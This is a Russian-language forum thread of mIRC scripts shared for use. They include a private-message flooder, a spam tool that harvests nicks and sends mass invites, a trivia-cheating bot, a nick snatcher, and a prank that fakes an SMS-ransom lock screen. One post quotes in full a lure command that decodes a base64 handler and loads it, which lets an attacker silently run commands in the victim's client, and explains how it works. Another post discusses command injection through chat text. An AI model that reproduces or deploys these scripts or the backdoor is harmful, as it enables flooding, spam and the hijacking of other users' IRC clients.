[02:09:59] <йа_пашко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
0[02:10:01] <йа_дэдэдэшко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:10:03] <йа_пашко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:10:04] * Покидает: Beeswax (~111@10.10.41.178)
Нажмите для раскрытия...

Вот так вот всех на канале можно достать :)))
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Достает кто-то в привате?) Или просто хочешь кому-то пофлудить приват, то сейчас расскажу как можно бЫстро сделать простенький флудер.
ОткрЫваем мирк, жмем Alt+R вЫбераем вкладку Менюшки, Вид-Приват, и там пишем:

Код: 
флуд:/timerFLOOD 50 1 msg $$1 $read flood.txt
Потом открЫваем папку mIRC-a и там создаем текстовЫй файл flood.txt и в нем пишем например:

^^^ ^Ж^Ж^ЖЖЖ ^^^ ^Ж^Ж^ЖЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^^ ^Ж^Ж^ЖЖ ^^Ж Ы ЖЫ ЫЫЫЫ ^ЫЖЫЫЫЖ
Нажмите для раскрытия...
Ну или чтонить другое, главное чтоб бЫло поболее текста. Потом в окне привата шелкаешь правой кнопкой мЫши и вЫбираешь флуд :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
По поводу скрипта купи слона, лучше его переделать вот так:

Код: 
[COLOR=SeaGreen]on *:TEXT:*:#covert:if ($nick != $me) /timer3AE6 1 2 msg $chan все говорят $replace($1-,| /, а вот хуй->,$,S) , а тЫ купи слона :)[/COLOR]
Это сделано чтоб не обрабатЫвались индификаторЫ, а то какой-нибудь умник напишет например $?*!="Xaaa cyko 9 te69 noumeJI" :)

ЗЫ2: еще хреновая сторона этого скрипта, если кто-нить напишет:

бла бла бла | /quit

Вместо quit можно поставить любую команду.
Правится это тоже с помощью $replace

Все, теперь умники будут отсасЫвать :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Представляю вашему вниманию скрипт из серии Нахрен не нужен :)

Представим ситуации, вЫ хотите себе ник которЫй кто-то взял, но не зарегал. Этот скрипт ждет пока вЫйдет нужнЫй нам ник, и моментально регает его :)

Код: 
menu channel,menubar {
  Забиралко Ников:/Nick3a6upaJIko
}
alias Nick3a6upaJIko { dialog -m Nick3a6upaJIko Nick3a6upaJIko }
dialog Nick3a6upaJIko {
  title "Забиралко ников :)"
  size -1 -1 69 37
  option dbu
  edit "", 1, 10 10 50 12
  text "Введите ник:", 2, 15 2 37 8
  button "Забрать :)", 3, 4 23 31 12
  button "Oтмена", 4, 40 23 26 12
}

on *:dialog:Nick3a6upaJIko:sclick:1: set %ctblputb
on *:dialog:Nick3a6upaJIko:sclick:3: { set %ctblputb $did(Nick3a6upaJIko,1,text) | Nick3a6upaJIk0 }
on *:dialog:Nick3a6upaJIko:sclick:4: { set %ctblputb $did(Nick3a6upaJIko,1,text) | OtDaBaJIk0 }
on *:UNOTIFY: /timerCMEHA 1 3 /nick %ctblputb | /timersREG 1 7 /msg NickServ REGISTER WebCriminal mail@mail.ru | /timerOPS 1 15 /msg NickServ SET KILL QUICK | /timerNOTIFYOFF 1 20 /notify off | /timerMNICK 1 25 /nick $mnick

alias Nick3a6upaJIk0 { timerNotifyon 1 2 /notify on | /timer3aWebCriminal1t 1 3 /notify %ctblputb }
alias OtDaBaJIk0 { timerNotifyoff 1 2 /notify -r %ctblputb }

Вставляем это в блокнот, сохраняем как 3a6upaJIko.mrc в папке с мирком. Потом в мирке пишем /load -rs 3a6upaJIko.mrc, после чего щелкаем по каналу правой кнопкой мЫши и вЫбираем Забиралко Ников, в появившемся окне пишем нужный ник, и жмем забрать :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Давно уже написал, токо сейчас решил вЫложить :)

Скрипт для автоматического ответа на вопросЫ викторинЫ. (2 версии)

1 версия:
Название: OTBE4AJIKA v.0.08a
Установка: вставляем скрипт в блокнот и сохраняем как otve4.mrc в корневой папке где лежит mirc.exe и в irc-клиенте пишем:
/load -rs otve4.mrc после чего в окне статуса напишет:
* Загружен скрипт 'путь то скрита\otve4.mrc'
Теперь щелкаем правой клавишей мЫши по каналу и вЫбираем OTBE4AJIKA, либо открЫть через КомандЫ -> OTBE4AJIKA.
В появившемся окне надо указать путь до базЫ ответов.
  1. База вопросов 1 - файл с вопросами для IRC викторинЫ. В базе около 8500 вопросов.
    Скачать: (локал) (мир) (177Кб)
  2. База вопросов 2 - дополнительнЫе вопросЫ к IRC боту для ведения викторинЫ. НасчитЫвает более 33 тЫсяч вопросов.
    Скачать: (локал) (мир) (550Кб)
  3. База вопросов 3 - база содержит 240 тЫсяч вопросов. База очень "грязная", т.е. один и тот же вопрос может повторяться несколько раз. НекоторЫе вопросЫ написанЫ ПРОПИСНЫМИ БУКВАМИ и требуют ответа в этом же стиле. Да и Trivia подвисает на пару секунд, когда вЫбирает вопрос из этой базЫ.
    Скачать: (локал) (мир) (3.85Мб)
Описание кнопок:
... - жмем, и в появившемся окне находим базу вопросов и открЫваем, после чего жмем ОК.
Примечание: данная версия автоматически отвечает на канале после вопроса бота в течении 2 - 7 секунд с погрешностью в секунду (зависит от размера базЫ вопросов).

Скрипт:
Код: 
################################
#        WEBCRIMINAL.RU        #
#  Скрипт для автоматического  #
# ответа на вопросЫ викторинЫ. #
#           by ddd             #
################################

menu channel,menubar {
  OTBE4AJIKA:/otve4
}
alias otve4 { dialog -m otve4 otve4 | otve4.alka }
dialog otve4 {
  title "OTBE4AJIKA v.0.08a"
  size -1 -1 196 54
  option dbu
  box "ВЫберете базу вопросов", 3, 5 3 187 31
  edit "", 4, 9 14 149 12, autohs
  button "...", 5, 164 13 22 12
  check "включить", 6, 6 39 40 10
  button "Ок", 7, 114 38 37 12, ok
  button "Отмена", 8, 153 38 37 12, cancel
}

on *:DIALOG:otve4:sclick:5:set %6a3a $$file="ВЫберите Файл" $mircdir\*.txt | did -r $dname 4 | did -a $dname 4 %6a3a
on *:DIALOG:otve4:sclick:7:{ set %6a3a $did(otve4,4,text) | if ($did(otve4,6).state == 1) { set %on.start.otve4 1 }
if ($did(otve4,6).state == 0) { set %on.start.otve4 0 } }
on *:DIALOG:otve4:sclick:2:set %botvikt
on *:TEXT:*:#:if ($nick == _3HauKA_) /timerVIKOTBET 1 $rand(2,7) /msg #BuKTOPuHA $lower($gettok($read(%6a3a,w,$strip(* $+ $replace($1-,| /, а вот хер->,$,S) $+ *)),2,124))

alias otve4.alka {
  if (%6a3a != $null) { did -r otve4 4 | did -a otve4 4 %6a3a }
  if (%on.start.otve4 == 1) { did -c otve4 6 }
  if (%on.start.otve4 == 0) { did -u otve4 6 } 
}

2 версия:
Название: OTBE4AJIKA v.0.08b

 [Тоже самое]

Примечание: данная версия вставляет ответ в строку ввода, остается нажать токо Enter. И еще в конце добавляется спец символ, после него можно писать что угодно, т.к. бот далле воспринимать нечего не будет.
Пример:
<_3HauKA_> Один из основоположников начертательной геометрии?
<Александр_Друзь> монж... Джеймс монж
<_3HauKA_> Молодец, Александр_Друзь! Правильный ответ был дан за 10 секунд и принёс тебе 3 очка.
Нажмите для раскрытия...
ПравильнЫй ответ
ДописанЫй ответ после спец символа :)

Скрипт:
Код: 
################################
#        WEBCRIMINAL.RU        #
#  Скрипт для автоматического  #
# ответа на вопросЫ викторинЫ. #
#           by ddd             #
################################

menu channel,menubar {
  OTBE4AJIKA:/otve4
}
alias otve4 { dialog -m otve4 otve4 | otve4.alka }
dialog otve4 {
  title "OTBE4AJIKA v.0.08"
  size -1 -1 196 54
  option dbu
  box "ВЫберете базу вопросов", 3, 5 3 187 31
  edit "", 4, 9 14 149 12, autohs
  button "...", 5, 164 13 22 12
  check "включить", 6, 6 39 40 10
  button "Ок", 7, 114 38 37 12, ok
  button "Отмена", 8, 153 38 37 12, cancel
}

on *:DIALOG:otve4:sclick:5:set %6a3a $$file="ВЫберите Файл" $mircdir\*.txt | did -r $dname 4 | did -a $dname 4 %6a3a
on *:DIALOG:otve4:sclick:7:{ set %6a3a $did(otve4,4,text) | if ($did(otve4,6).state == 1) { set %on.start.otve4 1 }
if ($did(otve4,6).state == 0) { set %on.start.otve4 0 } }
on *:DIALOG:otve4:sclick:2:set %botvikt
on *:TEXT:*:#:if ($nick == _3HauKA_) /timerVIKOTBET 1 0 /editbox -pNeNb #BuKTOPuHA $lower($gettok($read(%6a3a,w,$strip(* $+ $replace($1-,| /, а вот хер->,$,S) $+ *)),2,124)) $+ 

alias otve4.alka {
  if (%6a3a != $null) { did -r otve4 4 | did -a otve4 4 %6a3a }
  if (%on.start.otve4 == 1) { did -c otve4 6 }
  if (%on.start.otve4 == 0) { did -u otve4 6 } 
}
 
S

Simao

0x04
Помогите, пожалуйста!

у меня вопрос по данному скрипту ОТВЕЧАЛКА..он я так понял работает, но его нужно настроит на формат вопросов определенного канала, я прав?
если не сложно , пожалуйста помогите настроить, что нужно поменять...канал называется #edem ник бота Saturn
вот в каком формате вопросы
[13:43:46] <@Saturn> Bоnpoс #4: Пepеуcтpoйство, преобрaзовaние, изменение структуры. (13 букв)
[13:44:01] <@Saturn> Подсказка: р************
[13:44:21] <@Saturn> Подсказка:ре*******а***
[13:44:41] <@Saturn> Никто не ответил на вопрос, правильный ответ был реорганизация.

помогите пожалуйста, у меня в строку ответа вставляет просто пробел, значит у меня что-то не так
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Simao написал(а):
у меня вопрос по данному скрипту ОТВЕЧАЛКА..он я так понял работает, но его нужно настроит на формат вопросов определенного канала, я прав?
если не сложно , пожалуйста помогите настроить, что нужно поменять...канал называется #edem ник бота Saturn
вот в каком формате вопросы
[13:43:46] <@Saturn> Bоnpoс #4: Пepеуcтpoйство, преобрaзовaние, изменение структуры. (13 букв)
[13:44:01] <@Saturn> Подсказка: р************
[13:44:21] <@Saturn> Подсказка:ре*******а***
[13:44:41] <@Saturn> Никто не ответил на вопрос, правильный ответ был реорганизация.

помогите пожалуйста, у меня в строку ответа вставляет просто пробел, значит у меня что-то не так
Нажмите для раскрытия...

Дело все в том что скрипт берет всю фразу бота и ищет по бд, тобишь надо сделать так чтоб вЫрезалось Bоnpoс #: и (13 букв)
 
S

Simao

0x04
блин, я не знаю как это сделать:(
главное что база вопрос точно такая как у бота есть, а сам я неумеха исправить скрипт...
просто в основном в таком формате сейчас все у нас:(

БУду очень благодарен если обьясните как это сделать, что нужно дописать и куда...
 
Последнее редактирование:
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Simao написал(а):
блин, я не знаю как это сделать:(
главное что база вопрос точно такая как у бота есть, а сам я неумеха исправить скрипт...
просто в основном в таком формате сейчас все у нас:(

БУду очень благодарен если обьясните как это сделать, что нужно дописать и куда...
Нажмите для раскрытия...

В общем надо делать через регулярнЫе вЫраженя.

Тобишь задать так чтобЫ вЫрезалось постороннее.

Чтоб из:
Bоnpoс #1: Бла бла бла (5 букв)

Осталось токо:
Бла бла бла

Пример вЫражения:
$regml($regex(Guest31337, /(\d+)/))
вернет 31337

Я эти вЫражения не очень то и умею составлять, да и времени сейчас нету. Токо в субботу наверное смогу заняться. Мож тЫ до этого времени сам сообразишь как его составить :)
 
S

Simao

0x04
ddd написал(а):
В общем надо делать через регулярнЫе вЫраженя.

Тобишь задать так чтобЫ вЫрезалось постороннее.

Чтоб из:
Bоnpoс #1: Бла бла бла (5 букв)

Осталось токо:
Бла бла бла

Пример вЫражения:
$regml($regex(Guest31337, /(\d+)/))
вернет 31337

Я эти вЫражения не очень то и умею составлять, да и времени сейчас нету. Токо в субботу наверное смогу заняться. Мож тЫ до этого времени сам сообразишь как его составить :)
Нажмите для раскрытия...

Эх понимал бы я так все как вы...просто я если чесно не знаю как сделать:(..я только начинаю учится...я нашел какой-то скрипт, не знаю что он делает, но по идеи что-то подобное
on *:TEXT:*:#: {
if $chan == #edem {
if $nick == Saturn {
if $chr(63) isin $1- {
if $read(files\baza.txt,w,$strip($gettok($gettok($replace($1-,a,а,e,е,o,о,p,р,c,с),2-,32),1,63)) $+ *) { timerarrow_say 1 $rand(1,5) msg #edem $gettok($read(files\baza.txt,w,$strip($gettok($gettok($replace($1-,a,а,e,е,o,о,p,р,c,с),2-,32),1,63)) $+ *),2,124) }
}
if Ответ был isin $1- { timerarrow_say off }
}
}
}

Извините пожалуйста, что надоедаю и отбираю у вас время, но у ж очень очень хочется чтобы работал скрипт
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Забава на 1 апреля.
Сегодня устроили забаву на канале #help, всем входящим на канал, кроме определеннЫх лиц вЫставлялся рандомнЫй vhost.

Как это сделать:
1. ОткрЫваем папку с mIRC-ом создаем там текстовЫй файл host.txt и в него пишем:
Код: 
shnurkov.net
shirinka.zastegnuta
Admin.FSB.ru
futbolka.chistaja
boroda.vasermana
ja.poedu.na.evrovidenie.ot.mongolii
ja.was.v.krasnyh.truseljah.supermena
alkogolik.iz.moskvy
locallost
spina.v.melu
trusy.s.remnem
u.petrosjana.shutok.net
u.menja.chto-to.upalo.i.naletelo
Mitnik.haknul.moj.vhost
127001.127001.127001.IP
prodaju.vhost.obrawatsja.v.privat
u.menja.vhost.pokrasnel
tekst.posle.sobachki
v.idente.moja.podpolnaja.klichka
vhuizni.menja
mne.nravitsja.obhodit.bany
byl.na.epodrome.postavil.na.sobchak
u.menja.est.domashnij.gornyj.kozel
donashivaju.pampersy.za.starshim.bratom
sizhu.pod.Windows-3.1
moj.papa.Sasha.Belyj
fanat.DOM2
kakoj-to.neponjatnyj.dlinnyj.vhost.bez.smysla
ja.ne.sostaju.v.helpteam.dogm.net
u.moej.podrugi.3-j.razmer
ja.stesnjajus.ne.vhuiz

Потом открЫваем mIRC жмем Alt+R и в скриптах вставляем скрипт:
Код: 
on +1:join:#help:/chg $nick $read(host.txt)
После чего ждем реакции :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
НарЫл скрипт автоматического инвайта на заданЫй канал.
Функциональность скрипта:
  • Автоматический сбор ников
  • Автоматическая рассЫлка инвайтов
Как ирцоп я вам скажу, если хотите чтоб ваш канал сразу же закрЫли, то собирайте ники с официальнЫх каналов сети (#abuse,#link,#help и т.п.) :)

ЗЫ: в сети Dogm.NET можете даже не пЫтаться, все равно узнаю :)
ЗЫ2: чтоб каждЫй второй не скачивал, пихнул скрипт под хайд :)

[HIDE="8"]
Код: 
;start----- Invite mirc script by elimS ----------------
menu nicklist {
открыть инвайт скрипт: dialog -m invite_options invite_options
указать файл ник-листа исключений: %invite_nick_list_iskluchenija = $file="Выберите файл со списком ников:" .txt
добавить в ник-лист исключений: $iif( %invite_nick_list_iskluchenija == $null, echo $me 4укажите ник-лист исключений! , write %invite_nick_list_iskluchenija $1 )
обнулить исключения: write -c %invite_nick_list_iskluchenija
проверить ник на исключение: %temp = $read(%invite_nick_list_iskluchenija, w, $1 ) | $iif( $readn == 0, echo $me 3 $1 ник не в исключениях! , echo $me 4 $1 ник в исключениях!)
}
alias invite_al {
if ( $me ison %invite_kanal) {
inc %invite_nick_list_i 1
%invite_nick = $read(%invite_nick_list,%invite_nick_list_i)
%invite_prefix = $mid(%invite_nick,1,1)
if ( ( ( %invite_prefix != @ ) || (%invite_op == on) ) && ( ( %invite_prefix != % ) || (%invite_hop == on) ) && ( ( %invite_prefix != + ) || (%invite_vop == on) ) ) {
if ( ( %invite_prefix = @ ) || ( %invite_prefix = % ) || ( %invite_prefix = + ) ) %invite_nick = $mid(%invite_nick,2,$len(%invite_nick))
if ( %invite_nick !ison %invite_kanal ) {
%invite_list_i2 = 0
%invate_dublikate = false
while ( invite_list_i2 < $lines($mircdir $+ invite_list.txt) ) { inc invite_list_i2 1 if ( %invite_nick == $read($mircdir $+ invite_list.txt,invite_list_i2) ) %invate_dublikate = true } %temp = $read(%invite_nick_list_iskluchenija, w, %invite_nick ) if ( %invate_dublikate != true ) && ($readn == 0) { write $mircdir $+ invite_list.txt %invite_nick invite %invite_nick %invite_kanal } } } if ( %invite_nick_list_i >= $lines( %invite_nick_list ) ) {
%invite_status = off
notice $me инвайт закончен, итого было позвано $lines($mircdir $+ invite_list.txt) ) людей.
timer_invite off
}
}
else cs invite %invite_kanal
}
menu menubar {
invite by elimS: dialog -m invite_options invite_options
}
dialog invite_options {
title "Скрипт для мас-инвайта. Ver. 2.0"
size -1 -1 140 195
option dbu
tab "Основные",1, 1 1 135 190
tab "Допольнительные",100
button "указать канал",2, 10 20 50 10 , tab 1
button "частота инвайта",3, 10 35 50 10 , tab 1
edit "",4, 60 20 70 10, read autohs , tab 1
edit "",5, 60 35 70 10, read autohs , tab 1
button "Старт!",6, 10 65 120 20 , tab 1
button "Стоп!",7, 10 90 120 20 , tab 1
box "на кого будет действовать скрипт",8, 10 110 120 30 , tab 1
check "+o: опы", 9, 18 118 40 10 , tab 1
check "+h: халфопы", 10, 60 118 50 10 , tab 1
check "+v: войсопы", 11, 18 128 40 10 , tab 1
check "обычные юзеры", 12, 60 128 50 10 , tab 1
check "реконект при Message target too fast", 13, 18 140 110 10 , tab 1
button "величина канала",14, 10 50 50 10 , tab 1
edit "",15, 60 50 70 10, read autohs , tab 1
check "удерживать на канале", 16, 10 20 90 10 , tab 100
button "начать инвайт из указаного ник-листа",17, 10 40 110 10 , tab 100
edit "", 18, 10 55 110 10 ,read autohs, tab 100
box "ник-лист",19, 5 30 120 45 , tab 100
box "исключения",24, 5 80 120 45 , tab 100
edit "", 25, 10 105 110 10 ,read autohs, tab 100
button "выбрать ник-лист исключений",26, 10 90 110 10 , tab 100
text "скрипт написал elimS",35 20, 5 153 90 10
link "http://elims2.blogspot.com", 36, 5 168 90 10
}

on 1:dialog:invite_options:init:0: {
did -a invite_options 4 %invite_kanal
did -a invite_options 5 %invite_time
did -a invite_options 15 %invite_users
did -a invite_options 18 %invite_nick_list
did -a invite_options 25 %invite_nick_list_iskluchenija
if (%invite_op == on) did -c invite_options 9
if (%invite_hop == on) did -c invite_options 10
if (%invite_vop == on) did -c invite_options 11
if (%invite_user == on) did -c invite_options 12
if (%invite_reconnect == on) did -c invite_options 13
if (%invite_yderzhivat == on) did -c invite_options 16


}
on 1:dialog:invite_options:sclick,edit:*: {
if ($did == 2) {
set %invite_kanal $$input(введите канал (вместе с префиксом #) на который хотите инвайтить: , e )
did -r invite_options 4
did -a invite_options 4 %invite_kanal
}
if ($did == 3) {
set %invite_time $$input(введите частоту посылки invite сообщения в милисекундах (1 секунда = 1000 милисекунд), e)
did -r invite_options 5
did -a invite_options 5 %invite_time
}
if ($did == 14) {
set %invite_users $$input(введите на каналах с каким количеством людей производить сбор ников (введите количество людей):, e)
did -r invite_options 15
did -a invite_options 15 %invite_users
}
if ($did == 6) {
%invite_status = on
%invite_nick_list = $mircdir $+ chanel_nick_list.txt
%invite_flag = sbor_kanalov
remove $mircdir $+ chanel_list.txt
notice $me сбор каналов...
list
}
if ($did == 7) {
timer_invite off
%invite_status = off
}
if ($did == 17) {
%invite_nick_list = $file="Выберите файл со списком ников:" .txt
did -r invite_options 18
did -a invite_options 18 %invite_nick_list
timer_invite_chan_list off
%invite_flag = off
%invite_lines_nick_list = $lines( %invite_nick_list )
%invite_nick_list_i = 0
%invite_status = on
write -c $mircdir $+ invite_list.txt начало
notice $me инвайт людей...
timer_invite -m 0 %invite_time invite_al
}
if ($did == 26) {
%invite_nick_list_iskluchenija = $file="Выберите файл со списком ников:" .txt
did -r invite_options 25
did -a invite_options 25 %invite_nick_list_iskluchenija
}
if ($did == 9) $iif(%invite_op == on,%invite_op = off,%invite_op = on)
if ($did == 10) $iif(%invite_hop == on,%invite_hop = off,%invite_hop = on)
if ($did == 11) $iif(%invite_vop == on,%invite_vop = off,%invite_vop = on)
if ($did == 12) $iif(%invite_user == on,%invite_user = off,%invite_user = on)
if ($did == 13) $iif(%invite_reconnect == on,%invite_reconnect = off,%invite_reconnect = on)
if ($did == 16) $iif(%invite_yderzhivat == on,%invite_yderzhivat = off,%invite_yderzhivat = on)
if ($did == 36) run http://elims2.blogspot.com
}
;start--- сбор сбор каналов -----------
raw 322:*: {
if ( %invite_status == on ) && ( %invite_flag == sbor_kanalov ) {
if ( $len($2) > 1 ) && ( $3 >= %invite_users ) {
write chanel_list.txt $2 $3
}
}
}
;end--- сбор каналов -----------
;start--- реконект при ошыбке -----------
raw 439:*: {
if ( %invite_status == on ) {
if ( %invite_reconnect == on ) && ( Message target change too fast. isin $1- ) server
}
}
;end---- реконект при ошибке -----------
;start--- join каналов -----------
alias al_chan_list {
if ( %invite_status == on ) && ( %invite_flag == join_kanalov ) {
if ( %invite_list_i_chan > $lines($mircdir $+ chanel_list.txt) ) {
timer_invite_chan_list off
%invite_flag = off
%invite_lines_nick_list = $lines( %invite_nick_list )
%invite_nick_list_i = 0
write -c $mircdir $+ invite_list.txt начало
notice $me инвайт людей...
timer_invite -m 0 %invite_time invite_al
}
inc %invite_list_i_chan 1
%invite_chan_list = $read($mircdir $+ chanel_list.txt,%invite_list_i_chan)
join $gettok(%invite_chan_list,1,32)
if ( $gettok(%invite_chan_list,1,32) != %invite_kanal ) part $gettok(%invite_chan_list,1,32)
}
}
;end--- join каналов -----------
start--- конец листа -----------
raw 323:*: {
if ( %invite_status == on ) && ( %invite_flag == sbor_kanalov ) {
remove $mircdir $+ chanel_nick_list.txt
%invite_list_i_chan = 0
%invite_flag = join_kanalov
notice $me сбор ников по каналам...
timer_chan_list 0 2 al_chan_list
}
}
;end--- конец листа -----------
start--- сбор ников -----------
raw 353:*: {
if ( %invite_status == on ) && ( %invite_flag == join_kanalov ) {
%invite_count_nicks_i = 3
while ( %invite_count_nicks_i < $0 ) { inc %invite_count_nicks_i 1 if ( $ [ $+ [ %invite_count_nicks_i ] ] != $me ) { write chanel_nick_list.txt $ [ $+ [ %invite_count_nicks_i ] ] } } } } ;end---сбор ников ----------- on *:join:%invite_kanal: { if ( $nick == $me ) && ( %invite_reconnect == on ) && ( %invite_status == on ) timer_invite -m 0 %invite_time invite_al } on *:part:%invite_kanal: if ( %invite_yderzhivat == on ) && invite $nick $chan
;end----- Invite mirc script by elimS ----------------
[/HIDE]
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
В дополнение к этому посту: сЫлко

В сети в одном из топиков канала увидел тему:
Топик 'Для повышения внтурисетевой скорости, напиши мне (Ник_злоумЫшленика) в приват это: //write czm.mrc $decode(b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m) | .load -rs czm.mrc | msg Ник_злоумЫшленика UpTraffic +20%'
Нажмите для раскрытия...

введя это вам mIRC клиент протроянится и злоумЫшленику в приват напишется UpTraffic +20% от вашего ника, давая понять что еще одно чучело повелось :)

как это работает?
команда write записЫвает в файл czm.mrc результат декодировки b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m ,а именно обработчик собЫтия on ^*:text:ins*:?:{ . $+ $2- | haltdef } он ждет пока в привате жертвЫ напишут команду начинающуюся с ins {далее команда}

Например если злоумЫшленик напишет в приват жертве:
ins /join #main

То жертва зайдет на канал #main, но у себя в клиенте этого не увидит, так как с помощью ^ и haltdef подавляются сообщения в приват с маской ins*
 
SrDEN

SrDEN

IPv6
Команда форума
WebVoice
Все наверное уже видели банерЫ, которЫе открЫваются на весь экран при входе в маздай. Решил по стебу написать подобное для mIRC:
Код: 
on 1:START: {
     :pezdec
     set %pezdectext $?="ЧтобЫ закрЫть это окно отправте смс со словом ПЕЗДЕЦ на номер 0000, в ответ вЫ получите код!"
     if (%pezdectext != $decode(7+7r7dvpX+/o7+X2,m)) echo 4Отправляй СМС сЦуко!
     if %pezdectext == $decode(7+7r7dvpX+/o7+X2,m) goto nopizdec
     goto pezdec
     :nopizdec
     echo 8Молодец! Лохотронщики тебя не забудут :)
}
После старта мирки, вЫлетет окно с предложением отправить смс на короткий номер, это окно не закроется, пока не введется заветная комбинация :)
Как впарить этот код, можно посмотреть тут
 
Сверху